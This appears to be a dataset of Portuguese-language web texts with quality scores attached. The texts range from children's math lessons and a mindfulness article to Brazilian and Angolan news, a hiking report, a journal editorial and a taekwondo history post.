+Como não poderia deixar de ser eu também pratiquei e dela me fiz valer como especialista e mágico. Sim mais uma das sensacionais práticas a adentrar as portas do mundo corporativo e ser adotada em grande estilo vem a ser a metodologia. É claro que se temos um composto de procedimentos, com passos claros e se podemos categorizar, hierarquizar e estabelecer cronologia – certamente pode ser empacotado em um método. E era assim que eu justificava cursos, programas e (pasmem!) metodologias a serem implantadas – e sabe onde? Em sua empresa, dileto leitor!
+Apesar de feito até recentemente, em boa fé – diga-se de passagem – no fundo estávamos todos: os professores, consultores, estudiosos, estrategistas e especialistas, levando a empresa mais depressa para sua paralisia e esquizofrenia. Sim a empresa moderna que recebe uma metodologia e dela faz uso se desliga por completo da realidade que a cerca, enfatiza o processo acima do resultado, valoriza o sistema ao invés dos componentes humanos, e se perde focando nas experiência passadas.
+E mais do que nunca – é preferível preparar o indivíduo ou a equipe – para atender com alma, do que descrever comportamentos a serem incorporados como se fossem um segundo espírito. Há longo que nos explicaram que cada um é cada um!
+O improviso ganha destaque incálculavel se revestido de autenticidade e genuíno interesse por servir e fazer direito. A maestria no seu ramo, no seu métier, na sua profissão, vale muito mais do que mil manuais de métodos e procedimentos.Ser fluente no conjunto de atividades que compõem uma rotina abrangente é infinitamente mais eficaz que a síntese de todos os registros de ações recomendadas.
+O grande problema aí – e os teóricos da administração até hoje ainda não rechaçaram de vez com essa analogia, é que não somos burros nem cavalos – somos pessoas. E pessoas tem uma complexidade um pouco superior a desses animais.
+Hoje temos à disposição farta literatura que nos alerta para abandonarmos esse tipo de prática nefasta que permeia a maioria de nossas organizações. Também como uma panacéia a criação de campanhas de incentivo são no fundo um tiro no pé. Não aprofundam o compromisso, reiteram atitudes superficiais, acostumam mal os integrantes da equipe, e geram um cuidado extra e desviante para o processo em si do que para o fim a que se propõe. Ao final, muita espuma e pouco chope. E quem paga o pato (ou as cenouras) é a empresa e sua liderança voltada para o passado.
+Esta é mais uma ‘boa prática’ a nos punir.",original,original,original,original,0,0.0
+"Olá, pequenos exploradores da matemática! Já pararam para pensar que o mundo ao nosso redor é feito de formas? Sejam elas grandes ou pequenas, simples ou complexas, as formas geométricas estão por toda parte, esperando para serem descobertas! 
+
+Hoje, vamos embarcar em uma aventura para entender melhor o que são essas formas e como elas fazem parte do nosso dia a dia. Imaginem uma bola de futebol. Qual forma ela lembra? Isso mesmo, uma esfera! E a telha da sua casa? Provavelmente, um retângulo! As formas geométricas são como os blocos de construção do universo, e com elas podemos criar quase tudo! 
+
+Começando pelas formas mais simples, temos o círculo, que é como um anel perfeito, sem começo nem fim. Pensem em um prato ou em uma moeda. Depois, temos o quadrado, com seus quatro lados iguais, como um biscoito quadrado delicioso. O triângulo, com seus três lados, pode ser visto em fatias de pizza ou no telhado de algumas casas. E o retângulo, um primo do quadrado, mas com dois lados mais longos, como a porta da nossa sala ou um livro.
+
+Mas as formas não param por aí! Existem muitas outras, como o trapézio, o losango e até formas tridimensionais, que têm altura, largura e profundidade, como o cubo (pensem em um dado!), o paralelepípedo (como uma caixa de sapatos!) e a pirâmide (como as pirâmides do Egito!).
+
+Agora, que tal olharmos ao nosso redor e identificarmos as formas? Observem a sala de aula, a sua casa, o parque... Quantos círculos, quadrados, triângulos e retângulos vocês conseguem encontrar? Será que descobrem outras formas mais diferentes?
+
+Entender as formas geométricas é muito importante, pois nos ajuda a descrever o mundo, a construir coisas, a resolver problemas e até a criar arte! Pintores, arquitetos e designers usam formas o tempo todo para expressar suas ideias e construir coisas incríveis. A geometria nos ajuda a entender o espaço e as relações entre os objetos.
+
+Então, da próxima vez que vocês olharem para o céu, lembrem-se que o Sol é um círculo gigante. Quando forem comer um sanduíche, pensem se ele tem forma de triângulo. E quando forem brincar com blocos, observem as diferentes formas que vocês podem construir. A geometria está em todo lugar, esperando para ser explorada e aprendida!
+
+E para terminar, pensem um pouco: se vocês fossem construir uma casa, quais formas geométricas usariam? Por quê? Divirtam-se explorando o mundo das formas!",Matemática,Geometria e formas,anos iniciais (1º ao 5º ano),"O texto introduz de forma lúdica e acessível conceitos básicos de geometria, como círculos, quadrados, triângulos e retângulos, além de formas tridimensionais. Apresenta exemplos práticos e incentiva a observação do ambiente, tornando o aprendizado mais dinâmico e relevante para o cotidiano dos alunos do ensino fundamental. A linguagem é clara e adequada à faixa etária, promovendo o desenvolvimento do raciocínio espacial e da percepção visual. A proposta de reflexão final estimula o pensamento crítico e a aplicação dos conhecimentos adquiridos.",5,1.0
+"Apostila cnc by Cremilson Silva 26221 views
+Apostila torno cnc fanuc 21i by Renan Ribeiro 86488 views
+Exercício de CNC by Luciano Santos 10830 views
+Caderno de exercícios by Rogerio Silva 1225 views
+Introdução a CNC by Luciano Santos 25126 views
+Fabricação de uma peça real utiliza... by Rafael Lial 7094 views
+Teotonio Nascimento , Diretor na EFONAPE at EFONAPE
+ccvggytrtegfhaasddg
+Henrique Bastos Ferreira , Coordenador tecnico na ViBrasil Preditiva at vibrasilpreditiva
+muito bom aprendi bastante com essas informaçoes
+Adilson esta apostila é muito boa obrigado!
+Vagner de Paulo , Professor na FATEC CATANDUVA at FATEC CATANDUVA
+1. CURSO DE PROGRAMAÇÃO CNC IFPR CURSO DE PROGRAMAÇÃO CNC 1. CNC E O AMBIENTE DE AUTOMAÇÃO ............................................3 1.1. HISTÓRICO .............................................................................................................3 1.2. COMPARATIVO ENTRE USINAGEM CONVENCIONAL X CNC 5 1.3. DEFINIÇÃO E TIPOS DE COMANDO NUMÉRICO ......................6 1.4. PRINCÍPIO DE FUNCIONAMENTO ........................................................9 1.5. CARACTERÍSTICAS DAS MÁQUINAS CNC ..................................12 1.6. VANTAGENS E DESVANTAGENS DO COMANDO NUMÉRICO ......................................................................................................................15 1.7. MODOS DE FUNCIONAMENTO DAS MÁQUINAS CNC ........16 1.8. TRANSFERÊNCIA DE DADOS, REDES DNC ...............................18 1.9. EIXOS E SENTIDOS DE MOVIMENTO ..............................................19 1.10. ZERO MÁQUINA, ZERO PEÇA E ZERO FERRAMENTA 21 1.11. DETERMINAÇÃO DO ZERO PEÇA ...............................................24 2. PROGRAMAÇÃO DE MÁQUINAS CNC............................................26 2.1. SEQÜÊNCIA PARA PROGRAMAÇÃO MANUAL .........................26 2.2. ESTRUTURA DE PROGRAMA ................................................................28 3. SISTEMAS DE COORDEADAS CARTESIANAS ........................................................29 3.1. COORDENADAS ABSOLUTAS ...............................................................30 3.2. EXERCÍCIOS – SISTEMAS DE COORDENADAS ABSOLUTAS ...................................................................................................................31 3.3. COORDENADAS INCREMENTAIS .......................................................36 3.4. EXERCÍCIOS – SISTEMAS DE COORDENADAS ABSOLUTAS ...................................................................................................................37 3.5. ANÁLISE DE DESENHOS ...........................................................................41 3.6. LINGUAGEM DO SISTEMA ISO..............................................................47Prof. Ricardo Adriano dos Santos 1
+2. CURSO DE PROGRAMAÇÃO CNC IFPR 3.7. PROGRAMAÇÃO DE BLOCOS DE TRAJETÓRIA ......................49 3.8. POSSIBILIDADES DE MOVIMENTOS ENTRE DOIS PONTOS 50 4. FRESAMENTO - PROGRAMAÇÃO DE CONTORNOS...........54 4.1. DEFINIÇÃO DE FERRAMENTAS ...........................................................55 4.2. FUNÇÕES PREPARATÓRIAS E AUXILIARES .............................58 4.3. EXEMPLO DE PROGRAMA DE FRESADORA .............................65 4.4. CÓDIGOS G - FRESADORA ISO ...........................................................66 4.5. CÓDIGOS M - FRESADORA ISO ...........................................................67 4.6. PROGRAMAÇÃO DE SUB ROTINAS ..................................................68 4.6.1. G81 CICLO DE FURAÇÃO CURTA................................................69 4.6.2. G83 CICLO DE FURAÇÃO ..................................................................70 5. TORNEAMENTO - PROGRAMAÇÃO DE CONTORNOS ......74 5.1. CÓDIGOS G - TORNO COMANDO ISO ...........................................100 5.2. CÓDIGOS M - TORNO COMANDO ISO ..........................................101 5.3. TORNEAMENTO - PROGRAMAÇÃO DE CICLOS....................102 5.3.1. G71 CICLO DE DESBASTE LONGITUDINAL .....",original,original,original,original,4,0.8
+"A menos de 20km de Londrina, o Parque Estadual Mata dos Godoy preserva um dos poucos fragmentos que restaram da floresta nativa, abrigando inúmeras espécies de plantas e animais. Parte integrante da antiga Faz. Sta Helena, de propriedade da família Godoy, hoje o PEMG é um dos maiores pontos turísticos da cidade, reconhecido como maior patrimônio natural norte paranaense. Como apenas 10% do parque é liberado a visitação (relatado noutra ocasião), desta vez fui percorrer parte dos 90% restantes numa puxada travessia de 20km que singrou seu quadrante oeste e teve de tudo: estrada de chão, trilha, banho em cachoeira, subida de rio, perdidos e muito rasga-mato. Pernadinha de responsa nesta pouco conhecida unidade de conservação situada no Terceiro Planalto Paranaense.
+Viagem breve, os 18km passaram quase que desapercebidos e após cruzar o minúsculo vilarejo rural de Vila Regina, pouco antes das 9hrs saltávamos a beira do asfalto, mas não na portaria principal do parque. Ao invés de desembarcar logo após o primeiro portal de madeira que dá as boas-vindas à unidade de conservação, esperamos o latão descer mais um pouco pelo parque adentro, pra então deixar o coletivo no outro pórtico do parque, ou seja, aquele que o delimita em seu quadrante sul, já na divisa com a fazenda ao lado.
+Pois bem, dali basta passar sorrateiramente por uma porteira e seguir por um estradão de chão que bordeja o limite sul do parque. Uma casinha e um cocho são logo deixadas pra trás, sob o olhar perplexo dos cavalinhos que ali pastam, pra depois a caminhada tomar rumo em meio a baixa morraria daquele quadrante. Chovera os dias anteriores, mas não o suficiente pra deixar o céu despido de nuvens e sol brilhando a pino. Ao invés disso, deixou a estrada palmilhada um lamaçal só, transformando nossas botas em verdadeiras massas compactas (e pesadas) com placas de terra avermelhada.
+Apesar do detalhe da precariedade do caminho, a paisagem alternando a rusticidade dos plantios de soja se mesclava ao das encostas de mata secundária e nativa, esta última já do lado do parque. O rumorejo de água correndo a nossa direita imediatamente denunciou o manso Ribeirão Apertados, divisa natural do parque. No caminho, lamentamos não ter trazido repelente dada a voracidade dos minúsculos sanguessugas alados. No entanto, esta queixa logo se dilui com a descoberta de inúmeras pegadas na lama, que vão desde aves, pequenos roedores e até de pesados mamíferos, no caso, de antas e capivaras.
+Após cerca de tortuosos 5kms o caminho desemboca num enorme descampado tomado por abauladas colinas forradas de soja. Ali a estrada vira pro sul, sempre acompanhando o rio á distancia, mas agora se distanciando do parque. Não tem problema, pois me mantenho na via palmilhada por mais um km, cruzando um pequeno foco de mata mais fechada, onde o caminho simplesmente termina. Agora basta acompanhar o rugido de água a nossa direita e logo encontro um rastro partindo no meio dum bambuzal. Pronto, a vereda inicialmente desce suave mas logo empina, mas por pouco tempo. Sempre indo em direção ao ruído de água, que aumenta conforme se avança.
+Num piscar de olhos caímos nas lajotas rochosas do Ribeirão Apertados, onde o basalto se empilha graciosamente num trecho que afunila o rio. Sim, o espreme pra depois transformar numa enorme cachoeira que despeja as águas do ribeirão num enorme lago que ganha tons avermelhados por conta das chuvas recentes. Logicamente, donos absolutos daquele lugar paradisíaco nos brindamos com uma merecida pausa as 11hrs, quando o sol já começava a despontar por frestas no céu. Um refrescante banho e um delicioso lanche apenas complementam nosso pit-stop, assim como as trocentas borboletas coloridas que apenas adicionam beleza àquele bucólico remanso.
+Pois bem, revigorados, ao 12:30hr retomamos nossa marcha em direção á travessia propriamente dita. Pra isso retrocedemos tudo pela estrada até o ponto onde ela se afasta do parque. Ali, abandonamos a via de chão e mergulhamos no mar de ...",original,original,original,original,2,0.4
+"EDUCAÇÃO E O FUTURO ~ TRIBUNA DA IMPRENSA SINDICAL
+“Qualquer candidato a cuidar da educação brasileira deveria estar preparado para enfrentar pelo menos as seguintes questões: 1) Por que os alunos brasileiros vão tão mal no Pisa, o Programa Internacional de Avaliação de Estudantes? 2) Como melhorar os níveis fundamental e médio do ensino brasileiro, obviamente em condições muito más? 3) Como adaptar o ensino às condições impostas (sim, impostas) pela chamada revolução 4.0? 4) Como preparar professores para formar alunos capazes de atuar com sucesso na economia do século 21? 5) Que experiências bem sucedidas no exterior poderiam proporcionar elementos a um programa de modernização educacional?”",original,original,original,original,3,0.6
+"A tensão mental é um fator limitante da produtividade numa época em que a carga física de trabalho é cada vez mais convertida em carga mental. À medida que avançamos nesta era da informação e da complexificação das suas redes, mais esta ideia do stress crónico enquanto fenómeno crescente, patologia, e motor de outras doenças, se torna clara.
+O burnout é já considerado uma doença pela Organização Mundial de Saúde (OMS), caracterizando-se por um estado de esgotamento físico e mental causado pelo exercício de uma atividade profissional. Desde 1 de janeiro de 2022, o stress profissional entrou para a nova classificação internacional de doenças da OMS, com base nas conclusões de peritos de saúde de todo o mundo.
+Como definir?
+É uma resposta natural – fisiológica e comportamental – do organismo perante situações que nos façam sentir ameaçados, situações de grande pressão, ou situações que representem uma perturbação do nosso equilíbrio.
+O stress pode ser definido como um estado de sofrimento emocional caracterizado por sintomas de depressão e ansiedade, por vezes associados a queixas físicas.
+O stress pode ser positivo?
+O fenómeno provoca reações químicas no organismo que levam a reações fisiológicas. Até certo ponto, trata-se de uma estratégia de adaptação do nosso organismo relativamente a mudanças, exigências e constrangimentos que surjam. Essas alterações no organismo podem ser positivas, como por exemplo: se alguém está a passar por períodos de pressão no trabalho, o cérebro percebe e responde com alterações que ajudarão o indivíduo a concluir as suas atividades com eficiência. Em diversas circunstâncias pode levar-nos a agir positivamente, a combater a letargia e também a defender-nos de perigos. Porém, se o stress persistir por muito tempo, as alterações benéficas passam a ser prejudiciais, manifestando-se no organismo de forma patológica.
+A evolução do fenómeno
+Em tempos primitivos, aquilo que representava uma ameaça, como por exemplo enfrentar um animal feroz, implicava uma reação física rápida. A explicação está no conjunto de reações automáticas que ocorrem com a ajuda do Sistema Nervoso Autónomo Simpático, que, ao libertar hormonas como a adrenalina e cortisol, prepara o organismo para a ação (luta, fuga ou congelamento) e seria fundamental para assegurar a sobrevivência da espécie.
+Nos nossos dias, a hipótese de sermos confrontados com ameaças radicais à sobrevivência física é bastante reduzida, e é bem mais provável que o nosso stress surja de uma situação no contexto de trabalho, de um exame na escola, de relações pessoais difíceis, das horas passadas no trânsito ou de um pensamento perturbador persistente.
+No entanto, o nosso corpo reage, na prática, da mesma forma primitiva. Os escapes de luta ou fuga são quase inexistentes e isso implica que não damos uso às referidas hormonas do stress, que continuam a circular no organismo, mantendo-nos em alerta máximo. Consequentemente, o Sistema Nervoso Autónomo Parassimpático não é ativado, o que poderá levar a uma constante hiperestimulação do Sistema Nervoso Simpático, originando problemas como insónias, dores de cabeça, tensão alta, cansaço, irritabilidade, diabetes tipo 2 e muitos outros.
+Mindfulness: uma via para combater o stress
+Este problema generalizou-se, pelo menos, desde as duas últimas décadas do século passado. Os conselhos dos especialistas, para além das regras base de uma vida saudável – como o respeito pelas horas de sono, a prática de exercício físico regular e a manutenção de relações sociais saudáveis –, recomendam práticas cujos benefícios estão comprovados, como o yoga, a meditação ou o mindfulness.
+Esta prática passou a fazer parte da medicina comportamental/preventiva, principalmente a partir dos estudos de redução de stresse de Jon Kabat-Zinn, professor emérito da faculdade de Massachussets (EUA), que tem desenvolvido, desde 1979, intensa pesquisa científica da aplicação do mindfulness na saúde, em especial do programa de MBSR (Minfulness-Based Stres...",original,original,original,original,4,0.8
+"Ano: 2005 Vol. 71 Ed. 6 - Novembro - Dezembro - (0º)
+Páginas: 692 a 693
+Challenge in RBORL History
+Autor(es): Silvio Caldas Neto
+É tarefa difícil escrever o nosso primeiro editorial à frente da querida Revista Brasileira de Otorrinolaringologia. Rica no seu conteúdo científico e excelente na sua qualidade editorial, a RBORL tem, de mais admirável, a sua história. E é essa história que nos desafia. Nascida Revista Oto-laringologica de São Paulo, em janeiro de 1933 (Figura), ocasião em que seus ""redactores"" procuravam desfazer ""pensamentos malévolos"" que lhe atribuíam, pelo título, um ""acto de regionalismo"", ela foi incorporada, nos primeiros anos da década de 1950, à recém criada Federação Brasileira das Sociedades de Otorrinolaringologia e Broncoesofagologia, tornando-se indiscutivelmente nacional, como fazia pressupor sua nova e definitiva denominação. É curioso (e talvez não mera coincidência) que, em 1935, em Recife, o nosso avô paterno, do qual herdamos o nome, criava a revista Anais de Oto-Rino-Laringologia, periódico científico de circulação regional bastante saudada pela comunidade otorrinolaringológica da época na capital pernambucana e no nordeste brasileiro.
+Sua trajetória acompanhou as mudanças ocorridas em termos globais em vários paradigmas relativos à publicação científica. Uma dessas mudanças foi o crescente grau de profissionalização da edição dos periódicos. Outra, não menos importante, foi a clara compreensão da publicação científica como elemento formador e indicador de nível de excelência científica de pesquisadores, programas de pós-graduação, instituições de ensino e, mesmo, de toda uma comunidade. Por outro lado, o grande avanço da RBORL reflete a igualmente íngreme ascensão da otorrinolaringologia brasileira como especialidade médica de ponta na produção intelectual do nosso país.
+A qualificação de uma revista e o seu fator de impacto dependem de sua regularidade, periodicidade e qualidade científica. Este último critério é razão direta da proporção de artigos originais e relatos de caso. No caso da RBORL, essa proporção é muito boa, mas pode melhorar. Como é enorme a quantidade de relatos de caso submetidos, eles formam uma demanda reprimida gigantesca, à qual teremos que dar vazão, sem comprometer a qualidade científica, o que nos obrigará a, mormente a relevância de alguns relatos, temporariamente, interromper o recebimento deste tipo de artigo, após o que iremos instituir para eles métodos mais rigorosos de revisão e seleção, o que reduzirá o tempo de publicação dos artigos aprovados. Àqueles que desejam publicar seus casos, disporemos em breve uma área no nosso site. Aqueles trabalhos já submetidos serão tratados como sempre foram.
+A melhoria desses nossos indicadores é fundamental para que sejamos alçados às mais altas categorias da classificação de periódicos da CAPES e que, com isso, os nossos artigos sejam mais valorizados ainda, ocupemos mais assentos nos cursos de pós-graduação, obtenhamos mais recursos dos órgãos de fomento, tenhamos mais influência nas decisões das instituições de ensino e dos hospitais universitários e, finalmente, conquistemos cada vez mais respeito para a nossa especialidade. É esse o caminho. E é esse o principal desafio que se nos apresenta. Desafio não menor do que o daquele outro Sylvio Caldas (o original, com ""y""), que, em Recife, seguramente movido pelo mesmo espírito que tem impulsionado todos os atores da história da RBORL, há 70 anos, fundou, dirigiu e manteve, por iniciativa e recursos próprios, por três anos, os Anais de Oto-Rino-Laringologia. A ele e a esse espírito dedicamos este editorial.",original,original,original,original,3,0.6
+"Na cidade de Alto Alvorada (Orizona) não há dois endereços com o mesmo nome. Porém poderá haver um endereço com o mesmo nome em uma cidade diferente do Estado de Goiás. Duas cidades com nomes iguais em estados diferentes é muito comum.
+Com informações obtidas por satélite, conseguimos encontrar todo a Cidade de Alto Alvorada (Orizona) em um mapa. Você poderá ver bairros e endereços que ligam duas ou mais lugares.
+Com todos os recursos do mapa da cidade de Alto Alvorada (Orizona), mas com imagens obtidas por satélite. Este tipo de mapa ajuda a encontrar rotas e percursos, urbanos e rurais, com qualidade HD, permitindo a visualização de detalhes do terreno.",original,original,original,original,2,0.4
+"Jornal de Angola - Notícias - Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas
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+Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas
+Regiões
+05/12/2022 Última atualização 17H47
+Regiões
+Vandalização do Aeroporto do Moxico preocupa autoridades
+0
+A Sociedade Gestora de Aeroportos (SGA) está preocupada com os recorrentes actos de vandalização que têm se registado, no Aeroporto Aeroporto Comandante Dangereux, na cidade do Luena.
+05/12/2022 Última atualização 13H57
+Regiões
+Mau estado da Estrada Nacional 160 condiciona mobilidade de professores
+0
+As péssimas condições na Estrada Nacional 160- A, que liga a cidade de Malanje ao município de Marimba estão a condicionar a mobilidade de professores e enfermeiros daquela localidade.
+Regiões
+Escola do Ensino Especial no Huambo tem tudo pronto para o início das aulas
+Estácio Camassete | Huambo
+Jornalista
+A Escola do Ensino Especial do Huambo tem todas as condições preparadas, para o arranque do ano lectivo 2022/23, garantiu, ontem, a directora da instituição.
+03/09/2022 Última atualização 11H48
+Direcção da escola defende a adaptação arquitectónica da instituição para acolher mais alunos com necessidades especiais © Fotografia por: Estácio Camassete ||Edições Novembro | Huambo
+Mariana Vassole Alicerces disse que foram matriculados 565 alunos, dos quais 40 entram pela primeira vez. ""Há muita procura de vagas, por parte dos alunos e encarregados de educação”, esclareceu.
+A escola tem 42 professores e as aulas são leccionadas em dois períodos, nas áreas de deficiências visual, auditiva, intelectual e fala. O número de docentes, lamentou, ainda é insuficiente, ""tendo em conta o número de alunos, que tende a aumentar”.
+A instituição, contou, tem oito salas de aula, uma delas para o atendimento especializado de alunos com necessidades especiais. ""Nos últimos anos, a escola passou a ter muitos alunos. A procura é maior, por ser a única instituição especializada na província. Por isso, é necessário aumentar o número de salas e docentes”, justificou, além de explicar que o acesso ao Ensino Especial é gratuito e sem limitações de idade.
+""Muitos alunos são matriculados na iniciação com dez ou mais anos. Nesta instituição é proibido negar matricular qualquer aluno que precise de ensino especial. As turmas enchem a cada ano”, disse.
+Adaptação
+Para a directora da escola, é fundamental que seja feita uma adaptação da arquitectura da Escola Especial do Huambo, de forma a poder acolher os alunos com necessidades especiais, em especial os invisuais, com muitas barreiras em termos de movimentação.
+Além do reduzido número de professores, outro problema da instituição é a falta de material didáctico adaptado. ""Um dos materiais essenciais aos portadores de deficiência visual são as máquinas de Braille. No momento a escola só tem cinco a funcionar. As outras 20 estão avariadas���, adiantou, acrescentando que estes aparelhos são decisivos no processo de ensino e aprendizagem. ""Não é só as máquinas. Também precisamos de livros em Braille, para todas as classes”.
+Os outros alunos, como os com deficiência auditiva, têm utilizado a linguagem gestual, mas numa versão adaptada para o país. ""Alguns alunos têm problemas para aprender, mas temos usado a repetição como forma de ensino. Outra forma de os ensinar são os exercícios práticos, porém é necessário que hajam meios de ensino suficientes”, contou.
+Acrescentou que alguns meios têm sido fornecidos pela Fundação Lwini e o Instituto Nacional da Educação do Ensino Especial.
+Comentários
+Seja o primeiro a com...",original,original,original,original,3,0.6
+"Você já parou para pensar em quantas vezes frações e decimais aparecem no seu dia a dia? Talvez não perceba, mas eles estão presentes em diversas situações, desde a receita do bolo da sua avó até o cálculo do desconto daquela roupa que você tanto queria! Vamos explorar juntos esse universo fascinante e descobrir como dominar esses conceitos pode facilitar a sua vida e te ajudar a brilhar nas aulas de matemática.
+
+Primeiramente, vamos relembrar o que são frações. Uma fração representa uma parte de um todo. Imagine uma pizza dividida em 8 pedaços iguais. Se você come 3 desses pedaços, você comeu 3/8 (três oitavos) da pizza. O número de cima, o 3, é o numerador, e indica quantas partes você pegou. O número de baixo, o 8, é o denominador, e indica em quantas partes o todo foi dividido. Frações podem representar quantidades menores que um inteiro, mas também podem representar quantidades maiores, como 5/4 (cinco quartos), que é mais que uma pizza inteira!
+
+E os decimais? Decimais são outra forma de representar frações, principalmente aquelas cujo denominador é uma potência de 10 (10, 100, 1000, etc.). Por exemplo, a fração 1/10 (um décimo) pode ser escrita como 0,1. A fração 25/100 (vinte e cinco centésimos) pode ser escrita como 0,25. Decimais são muito úteis para representar medidas, como altura (1,65 metros) ou peso (52,3 quilos). Pense no dinheiro: R$ 0,50 representa cinquenta centavos, que é a metade de um real! Você já se perguntou por que usamos a vírgula para separar a parte inteira da parte decimal?
+
+A grande sacada é entender que frações e decimais são apenas diferentes formas de representar a mesma coisa: partes de um todo. Podemos transformar frações em decimais e vice-versa. Para transformar uma fração em decimal, basta dividir o numerador pelo denominador. Por exemplo, para transformar 1/2 em decimal, dividimos 1 por 2, que resulta em 0,5. E para transformar um decimal em fração? Depende! Se tivermos 0,75, podemos ler ""setenta e cinco centésimos"" e escrever como 75/100. Depois, podemos simplificar essa fração, dividindo o numerador e o denominador pelo mesmo número, até chegar à forma irredutível, que, nesse caso, seria 3/4. Que tal você tentar transformar 0,6 em fração?
+
+Aplicações práticas? Inúmeras! Ao cozinhar, frequentemente precisamos ajustar as quantidades dos ingredientes. Se uma receita pede 1/2 xícara de açúcar, e você quer fazer apenas metade da receita, precisará de 1/4 de xícara. Ao fazer compras, comparar preços por quilo (ou por litro) envolve lidar com decimais. Qual é mais barato: um pacote de 500 gramas de arroz por R$ 3,50 ou um pacote de 1 quilo por R$ 6,80? E ao calcular seus gastos mensais, você certamente estará usando decimais para somar suas despesas. 
+
+Dominar frações e decimais te dá superpoderes para resolver problemas do dia a dia e construir uma base sólida para conceitos matemáticos mais avançados. Continue praticando, experimentando e explorando as maravilhas da matemática! E lembre-se: a matemática está em todo lugar, basta saber olhar!",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O texto recebe nota máxima (5) por apresentar um excelente valor educacional, adequado para o ensino fundamental. Inicia com exemplos do cotidiano para engajar o aluno, introduz os conceitos de frações e decimais de forma clara e gradual, explica as relações entre eles e demonstra aplicações práticas. O estilo de escrita é acessível, estimulante e não apresenta informações desnecessárias ou complexas para o nível de ensino.",5,1.0
+"O objetivo dessa central é a emissão de forma totalmente eletrônica das segundas vias dos atos de Nascimento, Casamento, Óbito, por meio de pesquisa nos índices ou pedido manual, basicamente as serventias enviarão seus índices, tornando possível que um Cartório em São Paulo solicite uma segunda via de um Cartório do Espírito Santo e vice e versa, de forma rápida e segura.
+Funciona da seguinte forma, o cidadão chega ao balcão do Cartório e solicita uma segunda via, com os dados informados pela parte, o Cartório A faz a busca na CRC, e ao localizar o Cartório detentor do registro, faz a solicitação, o Cartório B recebe essa solicitação, verifica o Livro e procede com a emissão da Certidão, o Cartório A recebe a Certidão assinada eletronicamente, faz a impressão da mesma e a entrega ao solicitante.
+O Cartório A recebe o valor total do cidadão e repassa pela própria CRC o valor destinado ao Cartório detentor do registro, nesse processo será cobrado o valor da emissão da Certidão pelo Cartório A e a materialização pelo Cartório B.
+Os Cartórios do Espírito Santo que utilizam o DRD Registro Civil, já estão enviando as cargas pois desde o dia 02/06/2013 o sistema já se encontra devidamente atualizado.
+Segundo Jeferson Miranda, Notário e Registrador Civil do Cartório de Registro Civil e Tabelionado de Iúna, o processo de envio é muito simples, visto que os dados já estão no sistema, bastando alguns clicks para enviar as informações, ainda segundo Jeferson, que participou ativamente do Projeto piloto do Selo Digital, agora concretiza-se um dos objetivos do Selo Digital, que era permitir a emissão eletrônica das certidões.
+João Soares Fernandes, Notário e Registrador Civil do Cartório Antônio Maria, distrito de Carapina, em Serra, recebeu com grande entusiasmo a CRC, pois segundo ele, a procura por Certidões de outros estados é grande.",original,original,original,original,1,0.2
+"A Associação Humanitária Cultural e Recreativa Beselguense irá levar a cabo no próximo dia 3 de agosto (sábado) de 2013 as 4 Horas de Beselga.
+Podem consultá-lo na íntegra em http://www.associacaobeselguense.pt/btt_resistencia2012/Regulamento_4horas_Beselga_2012.pdf
+Hoje o cenário mudou. Estava previsto mais um teste ao percurso. Por isso, Partimos debaixo de chuva intensa misturada com granizo. Parecíamos verdadeiras estrelas dada a quantidade de flashes produzidos pela trovada. A cadência parecia marcada pelo som trovões. Tudo isto, condimentado com alguns “pedaços de paraíso” e um cheiro muito agradável de terra molhada só podia resultar nuns muito agradáveis 10kms de puro BTT.
+1º Lugar – Troféu + Inscrição na 9ª Maratona dia 10 novembro (Modalidade C)",original,original,original,original,2,0.4
+" História do taekwondo: um esporte moderno baseado em uma cultura milenar História do taekwondo: Esporte moderno baseado em Cultura milenar - Bodog Blog
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+Portada » Esportes » História do taekwondo: um esporte moderno baseado em uma cultura milenar
+Esportes
+História do taekwondo: um esporte moderno baseado em uma cultura milenar
+16 novembro, 2021
+Embora o taekwondo seja um esporte conhecido por muitas pessoas, poucas sabem sobre suas origens e raízes. Todos os fãs de artes marciais mistas, especialmente aqueles que costumam fazer apostas no UFC, já testemunharam a eficácia do taekwondo em competições desse estilo. Neste artigo, contaremos um pouco sobre a história dessa popular disciplina.
+Índice
+1 Onde e quando surgiu o taekwondo?
+2 História do taekwondo como esporte oficial
+3 Associações de taekwondo
+3.1 Federação Mundial de Taekwondo (WTF)
+3.2 Associação Coreana de Taekwondo (KTA)
+3.3 Academia Mundial de Taekwondo, Kukkiwon
+3.4 Federação Internacional de Taekwon-Do (ITF)
+4 O taekwondo nos dias de hoje
+Onde e quando surgiu o taekwondo?
+A arte marcial do taekwondo surgiu em 1955 e foi fundada pelo então general Choi Hong-hi em Seul, capital da Coreia do Sul. O general Choi desenvolveu a disciplina depois de passar oito meses na prisão durante a ocupação japonesa na Coreia. Para isso, ele uniu uma antiga arte marcial coreana chamada “taekkyon” com a disciplina japonesa de karate-do.
+História do taekwondo como esporte oficial
+Como já mencionamos, o taekwondo nasceu em 1955, mas só foi reconhecido como esporte em 1988. Naquela época, a Coreia estava realizando os Jogos Olímpicos de Seul 1988. Tanto lá quanto nos Jogos Olímpicos de Barcelona 1992, a arte marcial taekwondo foi classificada como esporte de exibição.
+Por fim, durante os Jogos Olímpicos de Sydney 2000 o taekwondo foi reconhecido como esporte olímpico oficial, permitindo que os atletas que faziam sucesso na disciplina ganhassem medalhas olímpicas.
+Associações de taekwondo
+A seguir, vamos explicar algumas diferenças nas regras do taekwondo que as diversas associações ou federações têm em relação às competições que organizam.
+Federação Mundial de Taekwondo (WTF)
+Esta organização nasceu levando em consideração vários ensinamentos de artes marciais de diferentes mestres da Coreia do Sul, que uniam as disciplinas tradicionais coreanas com artes marciais de outros países, como Japão ou China. Esses mestres fundaram umas das mais prestigiadas casas de artes marciais da Coreia.
+Essa federação de taekwondo foi oficialmente consolidada como tal em 1973. Nesse mesmo ano, a WTF organizou o primeiro torneio mundial de taekwondo.
+Associação Coreana de Taekwondo (KTA)
+Em 1959, vários dos mestres fundadores das escolas de artes marciais coreanas concordaram em criar a KTA. Graças ao prestígio de seu cargo no exército, o general Choi foi eleito presidente da associação pelos dirigentes das outras escolas. Suas tentativas de promover a disciplina não deram certo devido à pobreza na Coreia do pós-guerra.
+Academia Mundial de Taekwondo, Kukkiwon
+Em 1977 foi formado o Kukkiwon, após um consenso entre as diferentes escolas de taekwondo. Esse instituto foi criado para funcionar como a casa internacional do taekwondo, e isso é muito importante, pois naquela época foi a instituição oficialmente homologada para entregar as faixas pretas obtidos na disciplina.
+Federação Internacional de Taekwon-Do (ITF)
